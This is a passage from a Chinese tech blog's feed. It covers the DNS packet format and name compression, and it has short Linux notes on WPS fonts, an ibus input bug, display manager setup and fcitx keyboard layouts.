&lt;tr&gt;&lt;td&gt;2&lt;&#x2F;td&gt;&lt;td&gt;NS&lt;&#x2F;td&gt;&lt;td&gt;名称服务器&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;5&lt;&#x2F;td&gt;&lt;td&gt;CNAME&lt;&#x2F;td&gt;&lt;td&gt;规范名称&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;15&lt;&#x2F;td&gt;&lt;td&gt;MX&lt;&#x2F;td&gt;&lt;td&gt;电子邮件交互&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;16&lt;&#x2F;td&gt;&lt;td&gt;TXT&lt;&#x2F;td&gt;&lt;td&gt;文本信息&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;28&lt;&#x2F;td&gt;&lt;td&gt;AAAA&lt;&#x2F;td&gt;&lt;td&gt;IPv6地址&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;查询类型这里先不展开，下一小节会详细介绍。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zi-yuan-ji-lu&quot;&gt;资源记录&lt;&#x2F;h2&gt;
&lt;p&gt;服务端处理查询请求后，需要向客户端发送应答报文；域名查询结果作为资源记录，保存在答案以及其后两节中。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;dns-packet-format&#x2F;dns-resource-record-format.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;答案节、授权信息节和附加信息节均由一条或多条资源记录组成，记录数目保存在头部中的对应字段，不再赘述。&lt;&#x2F;p&gt;
&lt;p&gt;资源记录结构和问题记录非常相似，它总共有 6 个字段，前 3 个和问题记录完全一样：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;被查询域名&lt;&#x2F;strong&gt;（ Name ），与问题记录相同；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;查询类型&lt;&#x2F;strong&gt;（ Type ），与问题记录相同；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;类&lt;&#x2F;strong&gt; （ Class ），与问题记录相同；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;有效期&lt;&#x2F;strong&gt;（ TTL ），域名记录一般不会频繁改动，所以在有效期内可以将结果缓存起来，降低请求频率；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;数据长度&lt;&#x2F;strong&gt;（ Resource Data Length ），即查询结果的长度；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;数据&lt;&#x2F;strong&gt;（ Resource Data ），即查询结果；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如果查询类型是 A 记录，那查询结果就是一个 IP 地址，保存于资源记录中的数据字段；而数据长度字段值为 4 ，因为 IP 地址的长度为 32 位，折合 4 字节。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bao-wen-shi-li&quot;&gt;报文实例&lt;&#x2F;h2&gt;
&lt;p&gt;我们以 &lt;code&gt;test.fasionchan.com&lt;&#x2F;code&gt; 这个域名为例，来讲解 DNS 查询请求报文和应答报文。&lt;&#x2F;p&gt;
&lt;p&gt;执行 dig 命令即可查询该域名：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;dig test.fasionchan.com
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们对查询 &lt;code&gt;test.fasionchan.com&lt;&#x2F;code&gt; 的一次通信过程进行抓包，结果保存在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;coding-fans&#x2F;netcode&#x2F;blob&#x2F;master&#x2F;pcap&#x2F;dns-resolve.pcap&quot;&gt;Github&lt;&#x2F;a&gt; 上，以供参考。童鞋们可以将抓包结果下载到本地，并用 WireShark 打开，并结合讲解进行分析。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;qing-qiu-bao-wen&quot;&gt;请求报文&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;dns-packet-format&#x2F;dns-query-packet-capture.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;抓包结果请求报文只有头部、问题节和附加节，图解假设没有附加节。&lt;&#x2F;p&gt;
&lt;p&gt;先看头部，问题记录数为 1 ，其他记录数都是 0 。这意味着，请求报文只有问题节，而且问题节中只有一条问题记录，只查询一个域名。头部中的标志位分别如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;QR=0 ，表示该报文是一个请求报文；&lt;&#x2F;li&gt;
&lt;li&gt;操作码为 0 ，表示这个 DNS 请求是一个标准请求；&lt;&#x2F;li&gt;
&lt;li&gt;TC=0 ，表示请求报文没有被截短；&lt;&#x2F;li&gt;
&lt;li&gt;RD=1 ，表示客户端希望服务器可以执行递归查询；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;问题记录我们已经很熟悉了，不再赘述：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Type=1 ，表示客户端希望查询 A 记录，即与域名关联的 IP 地址；&lt;&#x2F;li&gt;
&lt;li&gt;Class=1 ，代表 TCP&#x2F;IP 互联网；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;ying-da-bao-wen&quot;&gt;应答报文&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;dns-packet-format&#x2F;dns-response-packet-capture.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;抓包结果应答报文只有头部、问题节和答案节。其中，问题节中的问题记录与请求报文一样，图中就不展开了。&lt;&#x2F;p&gt;
&lt;p&gt;先看头部，问题记录数为 1 ，答案记录数也是 1 ，其他记录数都是 0 。这意味着，应答报文只有问题节和答案节，而且它们各自只有一条记录。头部中的标志位分别如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;QR=1 ，表示该报文是一个应答报文；&lt;&#x2F;li&gt;
&lt;li&gt;操作码为 0 ，表示这个 DNS 请求是一个标准请求；&lt;&#x2F;li&gt;
&lt;li&gt;AA=0 ，表示结果不是由域名的权威服务器返回的，因为查询对象是本地的 DNS 缓存服务器（如果是向权威服务器发起查询，它返回的应答报文 AA=1 ）；&lt;&#x2F;li&gt;
&lt;li&gt;TC=0 ，表示应答报文没有被截短；&lt;&#x2F;li&gt;
&lt;li&gt;RD=1 ，与请求报文保持一致，略；&lt;&#x2F;li&gt;
&lt;li&gt;RA=1 ，表示服务端支持递归查询；&lt;&#x2F;li&gt;
&lt;li&gt;响应码为 0 ，表示查询成功，没有出错；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;答案节中的资源记录就是查询结果，前 3 个字段与问题记录一样，不再赘述。&lt;&#x2F;p&gt;
&lt;p&gt;TTL 字段是一个整数，表示有效期，单位是秒。例子中的查询结果，有效期是752秒，即 12 分 32 秒。也就是说，查询结果从现在开始算，12分32秒内均有效，无须重新请求。&lt;&#x2F;p&gt;
&lt;p&gt;查询结果是一个 IP 地址，长度为 4 个字节，保存在资源数据字段中。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yu-ming-ya-suo&quot;&gt;域名压缩&lt;&#x2F;h2&gt;
&lt;p&gt;我们注意到，应答报文中，会将请求报文中的问题记录原样返回。由于问题记录和资源记录都会保存域名，这意味着域名会被重复保存，而报文尺寸是有限的！&lt;&#x2F;p&gt;
&lt;p&gt;为了节约报文空间，有必要解决域名重复保存问题，这也是所谓的信息压缩。具体做法如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;dns-packet-format&#x2F;dns-name-compression-2.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;域名在报文中第二次出现时，只用两个字节来保存。第一个字节最高两位都是 &lt;code&gt;1&lt;&#x2F;code&gt; ，余下部分和第二个字节组合在一起，表示域名第一次出现时在报文中的偏移量。通过这个偏移量，就可以找到对应的域名。&lt;&#x2F;p&gt;
&lt;p&gt;由此一来，原来需要 21 个字节来保存的域名，现在只需区区两个字节即可搞定，数据量大大降低！&lt;&#x2F;p&gt;
&lt;p&gt;实际上，域名压缩机制还可以针对域名的某个部分进行。举个例子，假设一个请求报文同时查询两个域名：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;fasionchan.com&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;test.fasionchan.com&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;请求报文中包含两个问题记录，分别对应域名 &lt;code&gt;fasionchan.com&lt;&#x2F;code&gt; 和 &lt;code&gt;test.fasionchan.com&lt;&#x2F;code&gt; 。这两个域名都有一个公共后缀 &lt;code&gt;fasionchan.com&lt;&#x2F;code&gt; ，无须重复保存。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;dns-packet-format&#x2F;dns-name-compression.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如上图，第二个域名只需保存 &lt;code&gt;test&lt;&#x2F;code&gt; 部分，然后接两个字节特殊的压缩字节，指向第一个问题记录中的 &lt;code&gt;fasionchan.com&lt;&#x2F;code&gt; 。如果两条问题记录顺序颠倒，结果也是类似的，留待童鞋们自行思考。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux wps字体错误修复</title>
        <published>2025-08-11T18:49:58+08:00</published>
        <updated>2025-08-11T18:49:58+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/linux wps字体错误修复/"/>
        <id>https://vercel.juzhong.asia/2025/08/linux wps字体错误修复/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/linux wps字体错误修复/">&lt;p&gt;linux 系统中使用wps时， 出现缺失字体的告警&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Linux 系统缺失字体：Symbol､Wingdings､Wingdings 2､Wingdings 3､Webdings､MT Extra,WPS无法正确地显示某些符号(公式)！
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;2025-08-11-18-53-25.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;cong-windows-xi-tong-ti-qu&quot;&gt;‌从 Windows 系统提取‌&lt;&#x2F;h1&gt;
&lt;p&gt;复制 Windows 系统 C:\Windows\Fonts 目录下的对应字体文件（后缀为 .ttf 或 .ttc）&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;symbol.ttf  
wingding.ttf  
wingdng2.ttf  (对应 Wingdings 2)  
wingdng3.ttf  (对应 Wingdings 3)  
webdings.ttf  
mtextra.ttf   (对应 MT Extra)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;xia-zai-yu-da-bao-zi-ti-bao-wu-windows-xi-tong-shi&quot;&gt;‌下载预打包字体包（无 Windows 系统时）&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;git clone -b windows10 https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;uinv&amp;#x2F;windows-fonts.git &amp;#x2F;tmp&amp;#x2F;usr&amp;#x2F;share&amp;#x2F;fonts&amp;#x2F;windows10-fonts
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;geng-xin-zi-ti-huan-cun&quot;&gt;更新字体缓存&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo mkfontscale    # 生成字体索引
sudo mkfontdir      # 创建字体目录信息
sudo fc-cache -fv   # 强制更新缓存
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;ban-quan-ti-shi&quot;&gt;‌版权提示‌&lt;&#x2F;h1&gt;
&lt;p&gt;Wingdings、MT Extra 等为微软版权字体，仅限个人非商业使用&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux ibus输入法chrome输出重复bug</title>
        <published>2025-08-11T16:18:17+08:00</published>
        <updated>2025-08-11T16:18:17+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/linux ibus输入法chrome输出重复bug/"/>
        <id>https://vercel.juzhong.asia/2025/08/linux ibus输入法chrome输出重复bug/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/linux ibus输入法chrome输出重复bug/">&lt;h1 id=&quot;ibusshu-ru-fa-yi-chang-xian-xiang&quot;&gt;ibus输入法异常: 现象&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;输入 【weisheme】 后出现重复的【为什么为什么】&lt;&#x2F;li&gt;
&lt;li&gt;其中一个是候选词， 应该是ibus在输出后，没有正确清理候选词导致的？
&lt;img src=&quot;&#x2F;images&#x2F;2025-08-11-16-25-49.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;jie-jue-fang-an&quot;&gt;解决方案&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;2025-08-11-16-22-33.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux 显示管理器配置</title>
        <published>2025-08-11T14:04:21+08:00</published>
        <updated>2025-08-11T14:04:21+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/linux 显示管理器配置/"/>
        <id>https://vercel.juzhong.asia/2025/08/linux 显示管理器配置/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/linux 显示管理器配置/">&lt;h1 id=&quot;cha-kan-dang-qian-de-xian-shi-guan-li-qi&quot;&gt;查看当前的显示管理器&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;echo $XDG_SESSION_TYPE
echo $XDG_CURRENT_DESKTOP
systemctl status display-manager.service
ps -A | grep -E &amp;#x27;(gdm|lightdm|sddm|xdm|lxdm)&amp;#x27;
systemctl --property FragmentPath show display-manager
find &amp;#x2F;etc&amp;#x2F;systemd -name &amp;#x27;display-manager.*&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;zhong-xin-pei-zhi-xian-shi-guan-li-qi&quot;&gt;重新配置显示管理器&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt install lightdm
sudo dpkg-reconfigure lightdm
sudo systemctl restart display-manager

sudo dpkg-reconfigure gdm3 -f noninteractive
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;cha-kan-lightdm-zhong-de-an-zhuang-jiao-ben&quot;&gt;查看lightdm 中的安装脚本&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt download lightdm
ar x lightdm
tar xvf control.tar.xz

dpkg-deb -R lightdm_1.26.0-8_amd64.deb lightdm-files
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;shi-ji-zhi-xing-de-cao-zuo&quot;&gt;实际执行的操作&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo update-alternatives --install &amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;java java &amp;#x2F;opt&amp;#x2F;java 2000
# 这里的数字 2000 是优先级值，数值越高，优先级越高，默认情况下会选择具有最高优先级的备选项
ls &amp;#x2F;var&amp;#x2F;lib&amp;#x2F;alternatives&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;xiu-fu-cong-kdeqie-huan-dao-gnomehou-zi-ti-da-xiao-mei-you-hui-fu-de-bug&quot;&gt;修复从kde切换到gnome后字体大小没有恢复的bug&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update
sudo apt install gnome-tweaks
gnome-tweaks

# 如果还是没有恢复， 可以使用下面的命令强制reset
dconf reset -f &amp;#x2F;org&amp;#x2F;gnome&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>fcitx键盘布局 键盘-汉语 的作用</title>
        <published>2025-08-08T13:37:52+08:00</published>
        <updated>2025-08-08T13:37:52+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/08/fcitx键盘布局 键盘-汉语 的作用/"/>
        <id>https://vercel.juzhong.asia/2025/08/fcitx键盘布局 键盘-汉语 的作用/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/08/fcitx键盘布局 键盘-汉语 的作用/">&lt;p&gt;在fcitx（或 fcitx5-configtool）的配置中看到的 “键盘-汉语” 和 “拼音”，虽然都与中文输入有关，但它们的定位和功能完全不同。我们来逐一解释：&lt;&#x2F;p&gt;
&lt;h1 id=&quot;bulb-wei-shen-me-jian-pan-yi-yu-hui-chu-xian-zai-fcitx-pei-zhi-li&quot;&gt;💡 为什么“键盘-汉语”会出现在 Fcitx 配置里？&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;因为 Fcitx&#x2F;Fcitx5 里，“输入法”概念包含两类：&lt;&#x2F;li&gt;
&lt;li&gt;系统键盘布局（来自 XKB &#x2F; libxkbcommon）&lt;&#x2F;li&gt;
&lt;li&gt;输入法引擎（来自 Fcitx 模块，比如拼音、rime、mozc）&lt;&#x2F;li&gt;
&lt;li&gt;它们在配置界面是统一管理的，所以“键盘-汉语”会和“拼音”一起出现在输入法列表中。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;abc-yi-pin-yin-zhen-zheng-de-zhong-wen-shu-ru-fa-yin-qing&quot;&gt;🔤 一、“拼音” —— 真正的中文输入法引擎&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;white-check-mark-shi-shen-me&quot;&gt;✅ 是什么？&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;“拼音”（Pinyin）是 fcitx 的一个输入法引擎（Input Method Engine）。&lt;&#x2F;li&gt;
&lt;li&gt;它允许你使用 汉语拼音（如 wo ai ni）输入汉字（如“我爱你”）。&lt;&#x2F;li&gt;
&lt;li&gt;它会显示候选词、支持词库、智能联想、模糊音等高级功能。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;white-check-mark-gong-neng-te-dian&quot;&gt;✅ 功能特点：&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;输入拼音 → 候选汉字&lt;&#x2F;li&gt;
&lt;li&gt;支持简体&#x2F;繁体切换&lt;&#x2F;li&gt;
&lt;li&gt;可配置词库、用户词、模糊音（如 z&#x2F;zh 不分）&lt;&#x2F;li&gt;
&lt;li&gt;是你日常“打字”用的输入法&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;white-check-mark-shi-li&quot;&gt;✅ 示例：&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;输入：ni hao&lt;&#x2F;li&gt;
&lt;li&gt;候选：你好&lt;&#x2F;li&gt;
&lt;li&gt;👉 这才是你真正用来“输入中文”的工具。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;keyboard-er-jian-pan-yi-yu-jian-pan-bu-ju-bu-shi-shu-ru-fa&quot;&gt;⌨️ 二、“键盘-汉语” —— 键盘布局，不是输入法&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;shi-shen-me&quot;&gt;❓ 是什么？&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;“键盘-汉语”（有时也叫 chinese 或 zh 布局）并不是一个“输入法”，而是一种 键盘布局（Keyboard Layout）。&lt;&#x2F;li&gt;
&lt;li&gt;它的作用是：改变键盘上某些键的输出字符，尤其是标点符号。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;white-check-mark-ta-zuo-liao-shen-me&quot;&gt;✅ 它做了什么？&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;当你启用“键盘-汉语”布局时，不启动任何输入法引擎，但键盘会输出一些中文常用符号，例如：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;按键&lt;&#x2F;th&gt;&lt;th&gt;英文布局输出&lt;&#x2F;th&gt;&lt;th&gt;键盘-汉语布局输出&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;,&lt;&#x2F;td&gt;&lt;td&gt;,&lt;&#x2F;td&gt;&lt;td&gt;，（中文逗号）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;.&lt;&#x2F;td&gt;&lt;td&gt;.&lt;&#x2F;td&gt;&lt;td&gt;。（中文句号）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;;&lt;&#x2F;td&gt;&lt;td&gt;;&lt;&#x2F;td&gt;&lt;td&gt;；（中文分号）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;:&lt;&#x2F;td&gt;&lt;td&gt;:&lt;&#x2F;td&gt;&lt;td&gt;：（中文冒号）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;?&lt;&#x2F;td&gt;&lt;td&gt;?&lt;&#x2F;td&gt;&lt;td&gt;？（中文问号）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;!&lt;&#x2F;td&gt;&lt;td&gt;!&lt;&#x2F;td&gt;&lt;td&gt;！（中文感叹号）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;⚠️ 注意：它不会帮你输入汉字，只是把标点换成中文全角符号。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;white-check-mark-shi-yong-chang-jing&quot;&gt;✅ 使用场景：&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;你正在写中文文档，想快速输入中文标点&lt;&#x2F;li&gt;
&lt;li&gt;你不希望频繁切换输入法，但又需要中文标点&lt;&#x2F;li&gt;
&lt;li&gt;你使用英文输入法为主，但希望标点“中文化”&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;vs-san-dui-bi-zong-jie&quot;&gt;🆚 三、对比总结&lt;&#x2F;h1&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;项目&lt;&#x2F;th&gt;&lt;th&gt;拼音&lt;&#x2F;th&gt;&lt;th&gt;键盘-汉语&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;类型&lt;&#x2F;td&gt;&lt;td&gt;输入法引擎&lt;&#x2F;td&gt;&lt;td&gt;键盘布局&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;是否能输入汉字&lt;&#x2F;td&gt;&lt;td&gt;✅ 能（通过拼音转换）&lt;&#x2F;td&gt;&lt;td&gt;❌ 不能&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;是否需要切换输入法&lt;&#x2F;td&gt;&lt;td&gt;✅ 需要（如 Ctrl+Space）&lt;&#x2F;td&gt;&lt;td&gt;❌ 不需要（始终生效）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;主要功能&lt;&#x2F;td&gt;&lt;td&gt;拼音 → 汉字&lt;&#x2F;td&gt;&lt;td&gt;英文标点 → 中文标点&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;适合人群&lt;&#x2F;td&gt;&lt;td&gt;所有中文用户&lt;&#x2F;td&gt;&lt;td&gt;希望快速输入中文标点的用户&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;在 fcitx 中的位置&lt;&#x2F;td&gt;&lt;td&gt;输入法列表（+号添加）&lt;&#x2F;td&gt;&lt;td&gt;键盘布局选项（系统级）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h1 id=&quot;jigsaw-si-chang-jian-wu-jie-cheng-qing&quot;&gt;🧩 四、常见误解澄清&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;x-wu-jie-1-jian-pan-yi-yu-shi-yi-chong-shu-ru-fa&quot;&gt;❌ 误解1：“键盘-汉语”是一种输入法？&lt;&#x2F;h2&gt;
&lt;p&gt;错误。它只是一个键盘布局，不会进行“拼音到汉字”的转换。它只是改变了某些按键的输出字符。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;x-wu-jie-2-wo-jia-liao-jian-pan-yi-yu-jiu-neng-da-zhong-wen-liao&quot;&gt;❌ 误解2：我加了“键盘-汉语”就能打中文了？&lt;&#x2F;h2&gt;
&lt;p&gt;不能。你仍然需要“拼音”或其他中文输入法引擎才能输入汉字。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;✅ 正确用法组合：&lt;&#x2F;li&gt;
&lt;li&gt;✅ 方案1（推荐）：使用“拼音”输入法 → 自动输入汉字 + 中文标点&lt;&#x2F;li&gt;
&lt;li&gt;✅ 方案2：使用英文输入法 + “键盘-汉语”布局 → 手动输入汉字（复制粘贴），但标点自动中文化&lt;&#x2F;li&gt;
&lt;li&gt;✅ 方案3：英文输入法 + 手动切换中文标点（不推荐）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;tools-wu-ru-he-pei-zhi&quot;&gt;🛠️ 五、如何配置？&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-tian-jia-pin-yin-shu-ru-fa&quot;&gt;1. 添加“拼音”输入法&lt;&#x2F;h2&gt;
&lt;p&gt;在 fcitx5-configtool 中：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;点击「+」添加输入法&lt;&#x2F;li&gt;
&lt;li&gt;搜索 Pinyin 或 Chinese (Pinyin)&lt;&#x2F;li&gt;
&lt;li&gt;添加后，按 Ctrl+Space 切换中英文&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;2-qi-yong-jian-pan-yi-yu-bu-ju-ke-xuan&quot;&gt;2. 启用“键盘-汉语”布局（可选）&lt;&#x2F;h2&gt;
&lt;p&gt;在 GNOME 设置中：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Settings → Keyboard → Input Sources&lt;&#x2F;li&gt;
&lt;li&gt;点击「+」添加 Chinese → Chinese (Legacy)&lt;&#x2F;li&gt;
&lt;li&gt;或在终端运行：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gsettings set org.gnome.desktop.input-sources sources &amp;quot;[(&amp;#x27;xkb&amp;#x27;, &amp;#x27;us&amp;#x27;), (&amp;#x27;xkb&amp;#x27;, &amp;#x27;zh&amp;#x27;)]&amp;quot;`
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样即使不启用 fcitx，某些标点也会变成中文。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;white-check-mark-zong-jie&quot;&gt;✅ 总结&lt;&#x2F;h1&gt;
